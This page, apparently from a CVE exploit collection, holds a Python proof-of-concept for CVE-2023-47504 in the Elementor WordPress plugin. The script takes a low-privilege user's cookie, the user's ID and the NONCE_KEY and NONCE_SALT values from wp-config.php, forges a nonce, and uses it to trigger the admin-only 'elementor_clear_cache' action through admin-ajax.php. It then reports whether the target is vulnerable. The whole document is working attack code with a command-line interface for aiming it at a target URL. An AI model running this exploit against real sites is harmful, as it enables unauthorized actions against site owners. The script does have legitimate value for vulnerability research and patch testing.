4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
"""
Author: Bors David ([email protected])
"""
from argparse import ArgumentParser, RawTextHelpFormatter
import hmac
import hashlib
import time
import math
from urllib.parse import unquote, urljoin
import requests

def get_session_token(wp_cookie: str):
    value = wp_cookie.split("=")[1]
    return value.split("|")[2]


def wp_hash(data: str, salt: str):
    return hmac.new(salt.encode(), data.encode(), hashlib.md5).hexdigest()


def wp_nonce_tick() -> float:
    nonce_life = 86400
    return math.ceil(time.time() / (nonce_life / 2))


def wp_create_nonce(action: str, uid: int, salt: str, token: str):
    """
    action - name of the action to create the nonce for
    uid - user id -you can get it by intercepting a edit profile request
    salt - NONCE_KEY + NONCE_SALT from wp-config.php
    token - session token. The wordpress_logged_in_* cookie has the following format: user|timestamp|token|...
    """
    i = wp_nonce_tick()
    data = f'{i}|{action}|{uid}|{token}'
    return wp_hash(data, salt)[-12:-2]


def exploit(target_url: str, wordpress_cookie: str, uid: int, salt: str):
    token = get_session_token(wordpress_cookie)
    nonce = wp_create_nonce("elementor_clear_cache", uid, salt, token)

    res = requests.post(
        urljoin(target_url, "wp-admin/admin-ajax.php"),
        cookies={wordpress_cookie.split('=')[0]: wordpress_cookie.split('=')[1]},
        data={"action":"elementor_clear_cache", "_nonce":nonce}
    )

    if res.status_code != 200 or not res.text:
        return False

    if '"success":true' not in res.text:
        return False

    return True


def get_parser():
    parser = ArgumentParser(formatter_class=RawTextHelpFormatter)

    parser.add_argument("--target", required=True, help="Url to the target. ex: https://example.com")
    parser.add_argument("--wordpress-cookie", required=True, help="Wordpress cookie value for low priv account. ex. wordpress_logged_in_*=*")
    parser.add_argument("--uid", required=True, help="User id of low priv account.")
    parser.add_argument("--salt", required=True, help="NONCE_KEY + NONCE_SALT from wp-config.php")

    return parser

if __name__ == "__main__":
    args = get_parser().parse_args()

    if not exploit(args.target, unquote(args.wordpress_cookie), args.uid, args.salt):
        print("Target is not vulnerable to CVE-2023-47504!")
        exit(0)

    print("Target is vulnerable to CVE-2023-47504!")